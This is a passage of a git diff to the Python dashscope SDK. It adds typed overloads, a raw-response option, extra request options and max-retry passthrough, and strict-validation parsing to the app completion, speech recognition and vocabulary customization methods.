_raise_frame_error(data) - yield with_headers(_error_event(data), response) + yield with_headers( + _error_event( + data, + strict=strict, + response=response, + ), + response, + ) return - yield _parse(_try_json(data)) + yield _parse( + _try_json(data), + strict=strict, + response=response, + ) finally: response.close() @@ -474,6 +653,108 @@ class AsyncAppCompletions: def __init__(self, client) -> None: self._client = client + @overload + async def create( + self, + *, + app_id: str, + prompt: Optional[str] = None, + messages: Optional[List[Dict[str, Any]]] = None, + stream: Literal[True], + session_id: Optional[str] = None, + biz_params: Optional[Dict[str, Any]] = None, + has_thoughts: Optional[bool] = None, + doc_tag_codes: Optional[List[str]] = None, + doc_reference_type: Optional[str] = None, + memory_id: Optional[str] = None, + image_list: Optional[List[str]] = None, + file_list: Optional[List[str]] = None, + rag_options: Optional[Dict[str, Any]] = None, + incremental_output: Optional[bool] = None, + temperature: Optional[float] = None, + top_p: Optional[float] = None, + top_k: Optional[int] = None, + seed: Optional[int] = None, + parameters: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, + ) -> AsyncAppStream: + ... + + @overload + async def create( + self, + *, + app_id: str, + prompt: Optional[str] = None, + messages: Optional[List[Dict[str, Any]]] = None, + stream: Literal[False] = False, + session_id: Optional[str] = None, + biz_params: Optional[Dict[str, Any]] = None, + has_thoughts: Optional[bool] = None, + doc_tag_codes: Optional[List[str]] = None, + doc_reference_type: Optional[str] = None, + memory_id: Optional[str] = None, + image_list: Optional[List[str]] = None, + file_list: Optional[List[str]] = None, + rag_options: Optional[Dict[str, Any]] = None, + incremental_output: Optional[bool] = None, + temperature: Optional[float] = None, + top_p: Optional[float] = None, + top_k: Optional[int] = None, + seed: Optional[int] = None, + parameters: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, + ) -> AppCompletion: + ... + + @overload + async def create( + self, + *, + app_id: str, + prompt: Optional[str] = None, + messages: Optional[List[Dict[str, Any]]] = None, + stream: Literal[False] = False, + session_id: Optional[str] = None, + biz_params: Optional[Dict[str, Any]] = None, + has_thoughts: Optional[bool] = None, + doc_tag_codes: Optional[List[str]] = None, + doc_reference_type: Optional[str] = None, + memory_id: Optional[str] = None, + image_list: Optional[List[str]] = None, + file_list: Optional[List[str]] = None, + rag_options: Optional[Dict[str, Any]] = None, + incremental_output: Optional[bool] = None, + temperature: Optional[float] = None, + top_p: Optional[float] = None, + top_k: Optional[int] = None, + seed: Optional[int] = None, + parameters: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + async def create( # pylint: disable=too-many-locals self, *, @@ -499,8 +780,21 @@ async def create( # pylint: disable=too-many-locals timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, - ) -> Union[AppCompletion, AsyncAppStream]: + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[AppCompletion, AsyncAppStream, "APIResponse"]: + """Async twin of :meth:`AppCompletions.create`. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. + """ _validate(app_id, prompt, messages) + if raw and stream: + raise ValueError("raw=True is not supported with stream=True") body = _build_body( prompt, messages, @@ -532,9 +826,15 @@ async def create( # pylint: disable=too-many-locals timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), ) return AsyncAppStream(self._events(response), response) - response = await transport.request( + resp = await transport.request_api( "POST", path, json=body, @@ -542,11 +842,30 @@ async def create( # pylint: disable=too-many-locals timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, + ) + if raw: + return resp + resp.raise_for_status() + return with_headers( + _parse( + resp.json(), + strict=self._client.config.strict_validation, + response=resp.http_response, + ), + resp.http_response, ) - check_response(response, raise_on_error=self._client.raise_on_error) - return with_headers(_parse(response_json(response)), response) async def _events(self, response) -> AsyncIterator[AppCompletion]: + # Snapshotted once per stream: a flag flipped mid-flight should not + # change how the frames already being delivered are parsed. + strict = self._client.config.strict_validation try: is_error = False async for line in response.aiter_lines(): @@ -559,9 +878,20 @@ async def _events(self, response) -> AsyncIterator[AppCompletion]: if is_error: if self._client.raise_on_error: _raise_frame_error(data) - yield with_headers(_error_event(data), response) + yield with_headers( + _error_event( + data, + strict=strict, + response=response, + ), + response, + ) return - yield _parse(_try_json(data)) + yield _parse( + _try_json(data), + strict=strict, + response=response, + ) finally: await response.aclose() diff --git a/dashscope/resources/audio/asr.py b/dashscope/resources/audio/asr.py index 81f00822..635243f5 100644 --- a/dashscope/resources/audio/asr.py +++ b/dashscope/resources/audio/asr.py @@ -15,15 +15,18 @@ import os import time from typing import ( + TYPE_CHECKING, Any, Awaitable, Callable, Dict, Iterator, List, + Literal, Mapping, Optional, Union, + overload, ) from pydantic import BaseModel, ConfigDict, Field @@ -41,6 +44,10 @@ ) from dashscope.transport.ws import Connector, EVENT_GENERATED, WsSession from dashscope.transport.ws_connection import WsConnection, WsTask +from dashscope.types._parse import parse_model + +if TYPE_CHECKING: + from dashscope.transport._response import APIResponse __all__ = [ "Asr", @@ -115,6 +122,7 @@ def __init__(self, client) -> None: self._client = client self._jobs = Jobs(client, SERVICE, MODULE) + @overload def create( self, *, @@ -125,7 +133,54 @@ def create( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> Job: + ... + + @overload + def create( + self, + *, + model: str, + file_urls: List[str], + parameters: Optional[Dict[str, Any]] = None, + phrase_id: Optional[str] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def create( + self, + *, + model: str, + file_urls: List[str], + parameters: Optional[Dict[str, Any]] = None, + phrase_id: Optional[str] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[Job, "APIResponse"]: + """Submit a batch transcription task over one or more audio files. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + of the underlying call before any error check. + """ return self._jobs.create( model=model, input=_input_for(file_urls), @@ -134,8 +189,14 @@ def create( timeout=timeout, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, + raw=raw, ) + @overload def fetch( self, task_id: str, @@ -143,12 +204,58 @@ def fetch( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> Job: + ... + + @overload + def fetch( + self, + task_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def fetch( + self, + task_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[Job, "APIResponse"]: + """Fetch one task snapshot. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + of the underlying call before any error check. + """ return self._jobs.fetch( task_id, timeout=timeout, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, + raw=raw, ) def wait( @@ -160,6 +267,10 @@ def wait( timeout: float = DEFAULT_WAIT_TIMEOUT, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, _sleep: Optional[Callable[[float], Any]] = None, ) -> Job: """Poll with backoff, without starting another poll after the deadline.""" @@ -169,7 +280,15 @@ def wait( current = ( job if isinstance(job, Job) - else self.fetch(task_id, api_key=api_key, workspace=workspace) + else self.fetch( + task_id, + api_key=api_key, + workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, + ) ) interval = poll_interval while not current.finished: @@ -187,7 +306,15 @@ def wait( f"timed out after {timeout}s waiting for task {task_id}", ) interval = min(interval * 2, max_interval) - current = self.fetch(task_id, api_key=api_key, workspace=workspace) + current = self.fetch( + task_id, + api_key=api_key, + workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, + ) return _check_terminal( current, raise_on_error=self._client.raise_on_error, @@ -199,6 +326,7 @@ def __init__(self, client) -> None: self._client = client self._jobs = AsyncJobs(client, SERVICE, MODULE) + @overload async def create( self, *, @@ -209,7 +337,54 @@ async def create( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> Job: + ... + + @overload + async def create( + self, + *, + model: str, + file_urls: List[str], + parameters: Optional[Dict[str, Any]] = None, + phrase_id: Optional[str] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + async def create( + self, + *, + model: str, + file_urls: List[str], + parameters: Optional[Dict[str, Any]] = None, + phrase_id: Optional[str] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[Job, "APIResponse"]: + """Submit a batch transcription task over one or more audio files. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + of the underlying call before any error check. + """ return await self._jobs.create( model=model, input=_input_for(file_urls), @@ -218,8 +393,14 @@ async def create( timeout=timeout, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, + raw=raw, ) + @overload async def fetch( self, task_id: str, @@ -227,12 +408,58 @@ async def fetch( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> Job: + ... + + @overload + async def fetch( + self, + task_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + async def fetch( + self, + task_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[Job, "APIResponse"]: + """Fetch one task snapshot. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + of the underlying call before any error check. + """ return await self._jobs.fetch( task_id, timeout=timeout, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, + raw=raw, ) async def wait( @@ -244,6 +471,10 @@ async def wait( timeout: float = DEFAULT_WAIT_TIMEOUT, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, _sleep: Optional[Callable[[float], Awaitable[None]]] = None, ) -> Job: """Async twin of :meth:`TranscriptionJobs.wait`.""" @@ -257,6 +488,10 @@ async def wait( task_id, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, ) ) interval = poll_interval @@ -279,6 +514,10 @@ async def wait( task_id, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, ) return _check_terminal( current, @@ -343,6 +582,10 @@ def __init__( workspace: Optional[str] = None, ) -> None: config = client.config + # Kept as the live config, not a snapshot of one flag: every other + # resource reads ``strict_validation`` at parse time, and a session + # can outlive the setting it was opened with. + self._config = config self._model = model merged = {"format": format, "sample_rate": sample_rate} if parameters: @@ -454,11 +697,19 @@ def events(self) -> Iterator[Dict[str, Any]]: event = session.recv_event() self.last_response = event self._request_id = session.request_id - payload = event.get("payload") or {} + payload = event.get("payload") + if not isinstance(payload, dict): + payload = {} if payload.get("usage") is not None: self.usage = payload["usage"] - output = payload.get("output") or {} - sentence = output.get("sentence") or {} + # Metrics are best-effort: a frame whose ``output`` drifted to a + # non-dict still gets yielded, it just has no sentence to time. + output = payload.get("output") + if not isinstance(output, dict): + output = {} + sentence = output.get("sentence") + if not isinstance(sentence, dict): + sentence = {} has_text = bool( sentence.get("text") and not sentence.get("heartbeat"), ) @@ -493,9 +744,16 @@ def results(self) -> Iterator[RecognitionResult]: for event in self.events(): if event["header"].get("event") != EVENT_GENERATED: continue - data = dict(event.get("payload") or {}) + payload = event.get("payload") + data = dict(payload) if isinstance(payload, dict) else {} data.setdefault("request_id", event["header"].get("request_id")) - result = RecognitionResult.model_validate(data) + # No ``response``: this frame arrived over a websocket, so there + # is no httpx.Response for a strict failure to carry. + result = parse_model( + RecognitionResult, + data, + strict=self._config.strict_validation, + ) sentence = result.get_sentence() if sentence and sentence.get("heartbeat"): continue @@ -522,6 +780,10 @@ def transcribe( max_interval: float = DEFAULT_MAX_INTERVAL, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, ) -> Job: """Submit and wait; output.results carries per-file transcripts. @@ -536,6 +798,10 @@ def transcribe( timeout=submit_timeout, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, ) return self.jobs.wait( job, @@ -544,6 +810,10 @@ def transcribe( timeout=timeout, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, ) def recognize( @@ -659,6 +929,10 @@ async def transcribe( max_interval: float = DEFAULT_MAX_INTERVAL, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, ) -> Job: """Submit and wait; output.results carries per-file transcripts. @@ -673,6 +947,10 @@ async def transcribe( timeout=submit_timeout, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, ) return await self.jobs.wait( job, @@ -681,4 +959,8 @@ async def transcribe( timeout=timeout, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, ) diff --git a/dashscope/resources/audio/customization.py b/dashscope/resources/audio/customization.py index 953363b2..343be9ac 100644 --- a/dashscope/resources/audio/customization.py +++ b/dashscope/resources/audio/customization.py @@ -20,10 +20,22 @@ from __future__ import annotations -from typing import Any, Dict, List, Mapping, Optional +from typing import ( + TYPE_CHECKING, + Any, + Dict, + List, + Literal, + Mapping, + Optional, + Union, + overload, +) from pydantic import AliasChoices, Field +from dashscope.transport._options import request_options +from dashscope.types._parse import parse_model from dashscope.types.common import ( JobStatus, ResponseBase, @@ -32,6 +44,9 @@ with_headers, ) +if TYPE_CHECKING: + from dashscope.transport._response import APIResponse + __all__ = [ "DesignedVoice", "DesignedVoiceList", @@ -126,14 +141,23 @@ def _call( headers: Optional[Mapping[str, str]] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, - ) -> Any: + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + ) -> "APIResponse": + """POST one customization action; returns the unchecked response. + + Callers decide between the raw :class:`APIResponse` and the parsed + model, so nothing here inspects the status or the body. + """ body: Dict[str, Any] = { "model": model or self.DEFAULT_MODEL, "input": {**fields, "action": action}, } if parameters is not None: body["parameters"] = parameters - response = self._client.transport.request( + return self._client.transport.request_api( "POST", self.PATH, json=body, @@ -142,8 +166,14 @@ def _call( sdk_module=MODULE, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, ) - return response def _parse_response(self, response: Any) -> Dict[str, Any]: return flatten_envelope( @@ -153,6 +183,15 @@ def _parse_response(self, response: Any) -> Dict[str, Any]: ), ) + def _parse_model(self, model_cls, response: Any): + """Build one response model, degrading rather than raising.""" + return parse_model( + model_cls, + self._parse_response(response), + strict=self._client.config.strict_validation, + response=response, + ) + class Vocabularies(_CustomizationBase): """``client.audio.vocabularies`` -- asr hot-word tables.""" @@ -160,6 +199,7 @@ class Vocabularies(_CustomizationBase): PATH = "/services/audio/asr/customization" DEFAULT_MODEL = "speech-biasing" + @overload def create( self, *, @@ -172,9 +212,62 @@ def create( headers: Optional[Mapping[str, str]] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> Vocabulary: - """Create a table; the result carries ``vocabulary_id``.""" - response = self._call( + ... + + @overload + def create( + self, + *, + target_model: str, + prefix: str, + vocabulary: List[Dict[str, Any]], + model: Optional[str] = None, + parameters: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + headers: Optional[Mapping[str, str]] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def create( + self, + *, + target_model: str, + prefix: str, + vocabulary: List[Dict[str, Any]], + model: Optional[str] = None, + parameters: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + headers: Optional[Mapping[str, str]] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[Vocabulary, "APIResponse"]: + """Create a table; the result carries ``vocabulary_id``. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. The non-raw path + keeps ``response_body``'s envelope: it preserves non-JSON failure + bodies and injects ``status_code``/``request_id``/``is_error``. + """ + resp = self._call( "create_vocabulary", { "target_model": target_model, @@ -187,12 +280,19 @@ def create( headers=headers, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, ) + if raw: + return resp return with_headers( - Vocabulary(**self._parse_response(response)), - response, + self._parse_model(Vocabulary, resp.http_response), + resp.http_response, ) + @overload def list( self, *, @@ -204,15 +304,66 @@ def list( headers: Optional[Mapping[str, str]] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> VocabularyList: - """List tables, optionally narrowed to one ``prefix``.""" + ... + + @overload + def list( + self, + *, + prefix: Optional[str] = None, + page_index: int = 0, + page_size: int = 10, + model: Optional[str] = None, + timeout: Optional[float] = None, + headers: Optional[Mapping[str, str]] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def list( + self, + *, + prefix: Optional[str] = None, + page_index: int = 0, + page_size: int = 10, + model: Optional[str] = None, + timeout: Optional[float] = None, + headers: Optional[Mapping[str, str]] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[VocabularyList, "APIResponse"]: + """List tables, optionally narrowed to one ``prefix``. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. The non-raw path + keeps ``response_body``'s envelope: it preserves non-JSON failure + bodies and injects ``status_code``/``request_id``/``is_error``. + """ fields: Dict[str, Any] = { "page_index": page_index, "page_size": page_size, } if prefix: fields["prefix"] = prefix - response = self._call( + resp = self._call( "list_vocabulary", fields, model=model, @@ -220,12 +371,19 @@ def list( headers=headers, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, ) + if raw: + return resp return with_headers( - VocabularyList(**self._parse_response(response)), - response, + self._parse_model(VocabularyList, resp.http_response), + resp.http_response, ) + @overload def get( self, vocabulary_id: str, @@ -235,10 +393,57 @@ def get( headers: Optional[Mapping[str, str]] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> Vocabulary: - """Fetch one table's contents (1.x ``query_vocabulary``).""" + ... + + @overload + def get( + self, + vocabulary_id: str, + *, + model: Optional[str] = None, + timeout: Optional[float] = None, + headers: Optional[Mapping[str, str]] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def get( + self, + vocabulary_id: str, + *, + model: Optional[str] = None, + timeout: Optional[float] = None, + headers: Optional[Mapping[str, str]] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[Vocabulary, "APIResponse"]: + """Fetch one table's contents (1.x ``query_vocabulary``). + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. The non-raw path + keeps ``response_body``'s envelope: it preserves non-JSON failure + bodies and injects ``status_code``/``request_id``/``is_error``. + """ _require_id(vocabulary_id, "vocabulary_id") - response = self._call( + resp = self._call( "query_vocabulary", {"vocabulary_id": vocabulary_id}, model=model, @@ -246,12 +451,19 @@ def get( headers=headers, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, ) + if raw: + return resp return with_headers( - Vocabulary(**self._parse_response(response)), - response, + self._parse_model(Vocabulary, resp.http_response), + resp.http_response, ) + @overload def update( self, vocabulary_id: str, @@ -262,10 +474,59 @@ def update( headers: Optional[Mapping[str, str]] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> JobStatus: - """Replace one table's contents.""" + ... + + @overload + def update( + self, + vocabulary_id: str, + *, + vocabulary: List[Dict[str, Any]], + model: Optional[str] = None, + timeout: Optional[float] = None, + headers: Optional[Mapping[str, str]] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def update( + self, + vocabulary_id: str, + *, + vocabulary: List[Dict[str, Any]], + model: Optional[str] = None, + timeout: Optional[float] = None, + headers: Optional[Mapping[str, str]] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[JobStatus, "APIResponse"]: + """Replace one table's contents. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. The non-raw path + keeps ``response_body``'s envelope: it preserves non-JSON failure + bodies and injects ``status_code``/``request_id``/``is_error``. + """ _require_id(vocabulary_id, "vocabulary_id") - response = self._call( + resp = self._call( "update_vocabulary", {"vocabulary_id": vocabulary_id, "vocabulary": vocabulary}, model=model, @@ -273,12 +534,19 @@ def update( headers=headers, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, ) + if raw: + return resp return with_headers( - JobStatus(**self._parse_response(response)), - response, + self._parse_model(JobStatus, resp.http_response), + resp.http_response, ) + @overload def delete( self, vocabulary_id: str, @@ -288,10 +556,57 @@ def delete( headers: Optional[Mapping[str, str]] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> JobStatus: - """Delete one table.""" + ... + + @overload + def delete( + self, + vocabulary_id: str, + *, + model: Optional[str] = None, + timeout: Optional[float] = None, + headers: Optional[Mapping[str, str]] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def delete( + self, + vocabulary_id: str, + *, + model: Optional[str] = None, + timeout: Optional[float] = None, + headers: Optional[Mapping[str, str]] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[JobStatus, "APIResponse"]: + """Delete one table. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. The non-raw path + keeps ``response_body``'s envelope: it preserves non-JSON failure + bodies and injects ``status_code``/``request_id``/``is_error``. + """ _require_id(vocabulary_id, "vocabulary_id") - response = self._call( + resp = self._call( "delete_vocabulary", {"vocabulary_id": vocabulary_id}, model=model, @@ -299,10 +614,16 @@ def delete( headers=headers, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, ) + if raw: + return resp return 